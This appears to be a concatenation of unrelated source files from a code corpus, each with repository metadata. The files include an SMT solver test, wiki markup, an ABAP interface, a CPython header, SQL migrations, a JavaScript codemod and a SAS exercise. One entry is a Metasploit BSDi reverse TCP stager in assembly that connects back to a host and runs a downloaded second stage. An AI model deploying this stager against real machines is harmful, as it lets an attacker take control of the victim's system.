Bool (and _533 _939)) (define-fun _945 () Bool (and _809 _940)) (define-fun _957 () Real |main::lk3@7|) (define-fun _958 () Bool (= _957 _7)) (define-fun _959 () Bool (and _945 _958)) (define-fun _960 () Bool (= _808 _957)) (define-fun _961 () Bool (and _941 _960)) (define-fun _962 () Bool (or _959 _961)) (define-fun _963 () Bool (and _545 _962)) (define-fun _964 () Bool (and _544 _962)) (define-fun _968 () Bool (and _817 _963)) (define-fun _979 () Real |main::lk4@7|) (define-fun _980 () Bool (= _979 _7)) (define-fun _981 () Bool (and _968 _980)) (define-fun _982 () Bool (= _816 _979)) (define-fun _983 () Bool (and _964 _982)) (define-fun _984 () Bool (or _981 _983)) (define-fun _985 () Bool (and _556 _984)) (define-fun _986 () Bool (and _555 _984)) (define-fun _990 () Bool (and _825 _985)) (define-fun _1000 () Real |main::lk5@7|) (define-fun _1001 () Bool (= _1000 _7)) (define-fun _1002 () Bool (and _990 _1001)) (define-fun _1003 () Bool (= _824 _1000)) (define-fun _1004 () Bool (and _986 _1003)) (define-fun _1005 () Bool (or _1002 _1004)) (define-fun _1006 () Bool (and _567 _1005)) (define-fun _1007 () Bool (and _566 _1005)) (define-fun _1011 () Bool (and _833 _1006)) (define-fun _1020 () Real |main::lk6@7|) (define-fun _1021 () Bool (= _1020 _7)) (define-fun _1022 () Bool (and _1011 _1021)) (define-fun _1023 () Bool (= _832 _1020)) (define-fun _1024 () Bool (and _1007 _1023)) (define-fun _1025 () Bool (or _1022 _1024)) (define-fun _1026 () Bool (and _578 _1025)) (define-fun _1027 () Bool (and _577 _1025)) (define-fun _1031 () Bool (and _841 _1026)) (define-fun _1039 () Real |main::lk7@7|) (define-fun _1040 () Bool (= _1039 _7)) (define-fun _1041 () Bool (and _1031 _1040)) (define-fun _1042 () Bool (= _840 _1039)) (define-fun _1043 () Bool (and _1027 _1042)) (define-fun _1044 () Bool (or _1041 _1043)) (define-fun _1045 () Bool (and _589 _1044)) (define-fun _1046 () Bool (and _588 _1044)) (define-fun _1050 () Bool (and _849 _1045)) (define-fun _1057 () Real |main::lk8@7|) (define-fun _1058 () Bool (= _1057 _7)) (define-fun _1059 () Bool (and _1050 _1058)) (define-fun _1060 () Bool (= _848 _1057)) (define-fun _1061 () Bool (and _1046 _1060)) (define-fun _1062 () Bool (or _1059 _1061)) (define-fun _1063 () Bool (and _600 _1062)) (define-fun _1064 () Bool (and _599 _1062)) (define-fun _1068 () Bool (and _857 _1063)) (define-fun _1074 () Real |main::lk9@7|) (define-fun _1075 () Bool (= _1074 _7)) (define-fun _1076 () Bool (and _1068 _1075)) (define-fun _1077 () Bool (= _856 _1074)) (define-fun _1078 () Bool (and _1064 _1077)) (define-fun _1079 () Bool (or _1076 _1078)) (define-fun _1080 () Bool (and _611 _1079)) (define-fun _1081 () Bool (and _610 _1079)) (define-fun _1085 () Bool (and _865 _1080)) (define-fun _1090 () Real |main::lk10@7|) (define-fun _1091 () Bool (= _1090 _7)) (define-fun _1092 () Bool (and _1085 _1091)) (define-fun _1093 () Bool (= _864 _1090)) (define-fun _1094 () Bool (and _1081 _1093)) (define-fun _1095 () Bool (or _1092 _1094)) (define-fun _1096 () Bool (and _622 _1095)) (define-fun _1189 () Bool (not _1006)) (define-fun _1190 () Bool (or _833 _1189)) (define-fun _1192 () Bool (not _914)) (define-fun _1193 () Bool (or _801 _1192)) (define-fun _1194 () Bool (and _1190 _1193)) (define-fun _1196 () Bool (not _1096)) (define-fun _1197 () Bool (or _873 _1196)) (define-fun _1198 () Bool (and _1194 _1197)) (define-fun _1200 () Bool (not _963)) (define-fun _1201 () Bool (or _817 _1200)) (define-fun _1202 () Bool (and _1198 _1201)) (define-fun _1204 () Bool (not _1080)) (define-fun _1205 () Bool (or _865 _1204)) (define-fun _1206 () Bool (and _1202 _1205)) (define-fun _1208 () Bool (not _1026)) (define-fun _1209 () Bool (or _841 _1208)) (define-fun _1210 () Bool (and _1206 _1209)) (define-fun _1212 () Bool (not _1045)) (define-fun _1213 () Bool (or _849 _1212)) (define-fun _1214 () Bool (and _1210 _1213)) (define-fun _1216 () Bool (not _1063)) (define-fun _1217 () Bool (or _857 _1216)) (define-fun _1218 () Bool (and _1214 _1217)) (define-fun _1220 () Bool (not _985)) (define-fun _1221 () Bool (or _825 _1220)) (define-fun _1222 () Bool (and _1218 _1221)) (define-fun _1224 () Bool (not _940)) (define-fun _1225 () Bool (or _809 _1224)) (define-fun _1226 () Bool (and _1222 _1225)) (define-fun _1228 () Bool (not _878)) (define-fun _1229 () Bool (or _793 _1228)) (define-fun _1230 () Bool (and _1226 _1229)) (define-fun _1231 () Bool (not _1230)) (assert _1) (assert _1231) (check-sat) (exit)
SMT
1
livinlife6751/infer
sledge/test/smt/QF_UFLRA/cpachecker-induction-svcomp14/cpachecker-induction.test_locks_11_true-unreach-call_false-termination.c.smt2
[ "MIT" ]
<pre>* item 1 ''item'' == dd == </pre><ul><li>item 2</li></ul>
Creole
0
jquorning/ada-wiki
regtests/expect/wiki-html/pre.creole
[ "Apache-2.0" ]
// // This file is distributed under the MIT License. See LICENSE for details. // extern (C): void __VERIFIER_assert(int);
D
0
3dik/Dat3M
include/smack.di
[ "MIT" ]
;; ; ; Name: stager_sock_reverse ; Qualities: Can Have Nulls ; Version: $Revision: 1633 $ ; License: ; ; This file is part of the Metasploit Exploit Framework ; and is subject to the same licenses and copyrights as ; the rest of this package. ; ; Description: ; ; Implementation of a BSDi reverse TCP stager. ; ; File descriptor in edi. ; ; Meta-Information: ; ; meta-shortname=BSDi Reverse TCP Stager ; meta-description=Connect back to the framework and run a second stage ; meta-authors=skape <mmiller [at] hick.org>, optyx <optyx [at] uberhax0r.net> ; meta-os=bsdi ; meta-arch=ia32 ; meta-category=stager ; meta-connection-type=reverse ; meta-name=reverse_tcp ; meta-basemod=Msf::PayloadComponent::ReverseConnection ; meta-offset-lhost=0x1c ; meta-offset-lport=0x23 ;; BITS 32 GLOBAL _start _start: initialization: mov ebp, esp push 0xc3000700 mov eax, 0x9a cdq push eax mov esi, esp socket: push edx inc edx push edx inc edx push edx push byte 0x61 pop eax call esi xchg eax, edi connect: push dword 0x0100007f push dword 0xbfbf0210 mov ebx, esp push byte 0x10 push ebx push edi push byte 0x62 pop eax call esi %ifndef USE_SINGLE_STAGE read: mov al, 0x3 mov dh, 0xc push edx push ebp push edi call esi pop edi ret %endif
Assembly
3
OsmanDere/metasploit-framework
external/source/shellcode/bsdi/ia32/stager_sock_reverse.asm
[ "BSD-2-Clause", "BSD-3-Clause" ]
INTERFACE zif_abapgit_http_agent PUBLIC . CONSTANTS: BEGIN OF c_methods, get TYPE string VALUE 'GET', post TYPE string VALUE 'POST', put TYPE string VALUE 'PUT', delete TYPE string VALUE 'DELETE', patch TYPE string VALUE 'PATCH', END OF c_methods. METHODS global_headers RETURNING VALUE(ro_global_headers) TYPE REF TO zcl_abapgit_string_map. METHODS request IMPORTING !iv_url TYPE string !iv_method TYPE string DEFAULT c_methods-get !io_query TYPE REF TO zcl_abapgit_string_map OPTIONAL !io_headers TYPE REF TO zcl_abapgit_string_map OPTIONAL !iv_payload TYPE any OPTIONAL " can be string, xstring RETURNING VALUE(ri_response) TYPE REF TO zif_abapgit_http_response RAISING zcx_abapgit_exception . ENDINTERFACE.
ABAP
4
amit3kumar/ABAP_ALL
src/http/zif_abapgit_http_agent.intf.abap
[ "MIT" ]
#ifndef Py_LIMITED_API #ifndef Py_INTERNAL_IMPORT_H #define Py_INTERNAL_IMPORT_H #ifdef __cplusplus extern "C" { #endif #ifdef HAVE_FORK extern PyStatus _PyImport_ReInitLock(void); #endif extern PyObject* _PyImport_BootstrapImp(PyThreadState *tstate); struct _module_alias { const char *name; /* ASCII encoded string */ const char *orig; /* ASCII encoded string */ }; PyAPI_DATA(const struct _frozen *) _PyImport_FrozenBootstrap; PyAPI_DATA(const struct _frozen *) _PyImport_FrozenStdlib; PyAPI_DATA(const struct _frozen *) _PyImport_FrozenTest; extern const struct _module_alias * _PyImport_FrozenAliases; #ifdef __cplusplus } #endif #endif /* !Py_INTERNAL_IMPORT_H */ #endif /* !Py_LIMITED_API */
C
3
oleksandr-pavlyk/cpython
Include/internal/pycore_import.h
[ "0BSD" ]
-- name: create-table-secrets CREATE TABLE IF NOT EXISTS secrets ( secret_id SERIAL PRIMARY KEY ,secret_repo_id INTEGER ,secret_name VARCHAR(500) ,secret_data BYTEA ,secret_pull_request BOOLEAN ,secret_pull_request_push BOOLEAN ,UNIQUE(secret_repo_id, secret_name) ,FOREIGN KEY(secret_repo_id) REFERENCES repos(repo_id) ON DELETE CASCADE ); -- name: create-index-secrets-repo CREATE INDEX IF NOT EXISTS ix_secret_repo ON secrets (secret_repo_id); -- name: create-index-secrets-repo-name CREATE INDEX IF NOT EXISTS ix_secret_repo_name ON secrets (secret_repo_id, secret_name);
SQL
4
sthagen/drone-drone
store/shared/migrate/postgres/files/009_create_table_secrets.sql
[ "Apache-2.0" ]
-- Namespaces are currently allowed to be empty, as modules are, but also -- require their contents to be indented to denote where they end. -- Whereas a module's end is the end of the file. -- Since there's no indentation on the latter definitions, this file should have -- Test in scope under Main.X.Test, Test in scope under Main.Test, and nothing -- in scope in Main.Y because namespace Y ends immediately. namespace X private data Test = A | B namespace Y private data Test = A | B
Idris
3
Qqwy/Idris2-Erlang
idris2/tests/idris2/namespace001/Scope.idr
[ "BSD-3-Clause" ]
BAJ   
PureBasic
0
pchandrasekaran1595/onnx
onnx/backend/test/data/node/test_matmulinteger/test_data_set_0/input_0.pb
[ "Apache-2.0" ]
import addImports from 'jscodeshift-add-imports'; export default function transformer(fileInfo, api, options) { const j = api.jscodeshift; const importModule = options.importModule || '@material-ui/core'; const targetModule = options.targetModule || '@material-ui/core'; let requirePath = importModule; if (process.env.NODE_ENV === 'test') { requirePath = requirePath.replace(/^@material-ui\/core/, '../../../mui-material/src'); } // eslint-disable-next-line global-require, import/no-dynamic-require const whitelist = require(requirePath); const printOptions = options.printOptions || { quote: 'single', trailingComma: true, }; const root = j(fileInfo.source); const importRegExp = new RegExp(`^${importModule}/(?:[^/]+/)*([^/]+)$`); const resultSpecifiers = []; root.find(j.ImportDeclaration).forEach((path) => { if (!path.node.specifiers.length) { return; } if (path.value.importKind && path.value.importKind !== 'value') { return; } const importPath = path.value.source.value; const match = importPath.match(importRegExp); if (!match) { return; } if (importPath.includes('internal/')) { return; } path.node.specifiers.forEach((specifier, index) => { if (specifier.importKind && specifier.importKind !== 'value') { return; } if (specifier.type === 'ImportNamespaceSpecifier') { return; } switch (specifier.type) { case 'ImportDefaultSpecifier': { const localName = specifier.local.name; const moduleName = match[1]; if (whitelist[moduleName] == null) { return; } resultSpecifiers.push( j.importSpecifier(j.identifier(moduleName), j.identifier(localName)), ); path.get('specifiers', index).prune(); break; } case 'ImportSpecifier': if ( whitelist[specifier.imported.name] == null && specifier.imported.name !== 'withStyles' ) { return; } resultSpecifiers.push(specifier); path.get('specifiers', index).prune(); break; default: break; } }); if (!path.node.specifiers.length) { path.prune(); } }); if (resultSpecifiers.length) { addImports(root, j.importDeclaration(resultSpecifiers, j.stringLiteral(targetModule))); } return root.toSource(printOptions); }
JavaScript
4
dany-freeman/material-ui
packages/mui-codemod/src/v4.0.0/top-level-imports.js
[ "MIT" ]
/*--------------------------------------------------*/ /* SAS Programming for R Users - code for exercises */ /* Copyright 2016 SAS Institute Inc. */ /*--------------------------------------------------*/ /*SP4R02s02*/ data sp4r.shelter3; infile datalines dlm='#'; input Name $ Age Weight Color $ Cats $; datalines; Pluto#3#25#Black#No Lizzie#10#43#Tan#Yes Pesci#10#38#Brindle#No ;run;
SAS
3
snowdj/sas-prog-for-r-users
code/SP4R02s02.sas
[ "CC-BY-4.0" ]